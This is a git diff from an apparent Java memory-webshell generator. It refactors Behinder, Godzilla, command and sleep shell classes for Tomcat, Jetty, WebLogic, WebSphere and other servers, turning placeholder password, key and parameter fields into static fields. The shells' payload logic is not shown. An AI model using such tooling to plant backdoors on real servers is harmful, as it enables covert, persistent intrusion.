b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java index 2eafd4a0..ab796520 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java @@ -19,9 +19,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderValve extends ClassLoader implements Valve { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java index 8ccd4712..3eee4c53 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java @@ -13,7 +13,7 @@ import java.io.InputStream; * @author ReaJason */ public class CommandValve implements Valve { - public String paramName = "{{paramName}}"; + public static String paramName; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java index 91cd127e..1839e95a 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java @@ -15,11 +15,11 @@ import java.io.IOException; * @author ReaJason */ public class GodzillaValve extends ClassLoader implements Valve { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java index be859387..5e363af2 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; public BehinderListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java index 2ada8966..8e8638c6 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java @@ -12,7 +12,7 @@ import java.lang.reflect.Field; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java index 1cf3bea7..a39b1fa0 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java @@ -14,11 +14,11 @@ import java.lang.reflect.Field; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java index 505fb073..8d39963a 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; public BehinderListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java index 82d06857..34a46350 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java @@ -12,7 +12,7 @@ import java.lang.reflect.Field; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java index cd9a8a3a..a9392aa2 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java @@ -14,11 +14,11 @@ import java.lang.reflect.Field; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java index a27f1b60..7f1bd22d 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; public BehinderListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java index de9dc5db..239a0679 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java @@ -12,7 +12,7 @@ import java.lang.reflect.Field; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java index 043cf6cf..fd961b70 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java @@ -14,11 +14,11 @@ import java.lang.reflect.Field; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java index d6e004b9..ab88ea5c 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderFilter extends ClassLoader implements Filter { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; @SuppressWarnings("all") public Class g(byte[] b) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java index 53348817..3bccf373 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java @@ -17,9 +17,9 @@ import java.util.Map; */ public class BehinderServlet extends ClassLoader implements Servlet { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; @Override @SuppressWarnings("all") diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java index 13bb9b1f..722ab4c5 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java @@ -19,9 +19,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderValve extends ClassLoader implements Valve { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java index e84efdf8..31d9c7e0 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java @@ -11,7 +11,7 @@ import java.io.InputStream; * @since 2024/11/24 */ public class CommandFilter implements Filter { - public String paramName = "{{paramName}}"; + public static String paramName; @Override public void init(FilterConfig filterConfig) throws ServletException { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java index 7b7cc468..e3b04893 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java @@ -13,7 +13,7 @@ import java.io.InputStream; * @since 2024/12/15 */ public class CommandServlet extends HttpServlet { - public String paramName = "{{paramName}}"; + public static String paramName; @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java index b64e1029..2f13167e 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java @@ -13,7 +13,7 @@ import java.io.InputStream; * @author ReaJason */ public class CommandValve implements Valve { - public String paramName = "{{paramName}}"; + public static String paramName; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java index 2cd38b5f..ff1929bc 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java @@ -13,11 +13,11 @@ import java.io.IOException; * @author ReaJason */ public class GodzillaFilter extends ClassLoader implements Filter { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaFilter() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java index 52347d5d..3c358e10 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java @@ -14,11 +14,11 @@ import java.io.IOException; * @since 2024/12/15 */ public class GodzillaServlet extends ClassLoader implements Servlet { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaServlet() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java index 9fad8dfe..5006a0d8 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java @@ -15,11 +15,11 @@ import java.io.IOException; * @author ReaJason */ public class GodzillaValve extends ClassLoader implements Valve { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepFilter.java index b60ff53a..e933a653 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepFilter.java @@ -8,7 +8,7 @@ import java.io.IOException; * @since 2024/12/14 */ public class SleepFilter implements Filter { - private int second = 10; + public static int second = 10; @Override public void destroy() { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepListener.java index e17220eb..b65bc9f5 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepListener.java @@ -8,7 +8,7 @@ import javax.servlet.ServletRequestListener; * @since 2024/12/14 */ public class SleepListener implements ServletRequestListener { - private int second = 10; + private static int second = 10; @Override public void requestDestroyed(ServletRequestEvent sre) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepValve.java index 700f9492..f06708d7 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepValve.java @@ -12,7 +12,7 @@ import java.io.IOException; * @since 2024/12/14 */ public class SleepValve implements Valve { - private int second = 10; + private static int second = 10; @Override public Valve getNext() { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java index 8a8a3ad1..81202c74 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; public BehinderListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java index a7422225..0368bfb6 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java @@ -12,7 +12,7 @@ import java.lang.reflect.Field; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java index e7c9349f..85de3ec7 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java @@ -14,7 +14,7 @@ import java.io.InputStream; */ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole { - public String paramName = "{{paramName}}"; + public static String paramName; private Session session; @Override diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java index f27c0ede..2b94c743 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java @@ -14,11 +14,11 @@ import java.lang.reflect.Field; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java index 5858d765..8c70f130 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java @@ -20,9 +20,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderValve6 extends ClassLoader implements Valve { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java index 3923710f..b9ee7488 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java @@ -19,9 +19,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderValve7 extends ClassLoader implements Valve { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java index 58a4f2b0..18dee413 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java @@ -14,7 +14,7 @@ import java.io.InputStream; * @author ReaJason */ public class CommandValve6 implements Valve { - public String paramName = "{{paramName}}"; + public static String paramName; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java index d74c6a88..df03d085 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java @@ -13,7 +13,7 @@ import java.io.InputStream; * @author ReaJason */ public class CommandValve7 implements Valve { - public String paramName = "{{paramName}}"; + public static String paramName; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java index cd2116a9..7a68652c 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java @@ -16,11 +16,11 @@ import java.io.IOException; * @author ReaJason */ public class GodzillaValve6 extends ClassLoader implements Valve { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java index 25abd2c1..65b20f0f 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java @@ -15,11 +15,11 @@ import java.io.IOException; * @author ReaJason */ public class GodzillaValve7 extends ClassLoader implements Valve { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java index 2dbb4108..7a99db7d 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; public BehinderListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java index d4fa06b8..af3b190c 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java @@ -13,7 +13,7 @@ import java.util.Map; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java index fdbc6b8e..3eec30ab 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java @@ -15,11 +15,11 @@ import java.util.Map; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java index 34b9f2d5..6ef7fdc7 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; public BehinderListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java index 1baa26b2..7ad51c5f 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java @@ -12,7 +12,7 @@ import java.lang.reflect.Field; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java index 2b21158a..12919aeb 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java @@ -14,7 +14,7 @@ import java.io.InputStream; */ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole { - public String paramName = "{{paramName}}"; + public static String paramName; private Session session; @Override diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java index 4f7a513e..e862cd7e 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java @@ -14,11 +14,11 @@ import java.lang.reflect.Field; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java index ba7d8538..34b0fe29 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; public BehinderListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java index 736d656f..ed676c41 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java @@ -12,7 +12,7 @@ import java.lang.reflect.Field; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java index 0f5f3908..94741501 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java @@ -14,11 +14,11 @@ import java.lang.reflect.Field; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaListener() { } diff --git a/web/bun.lockb b/web/bun.lockb index 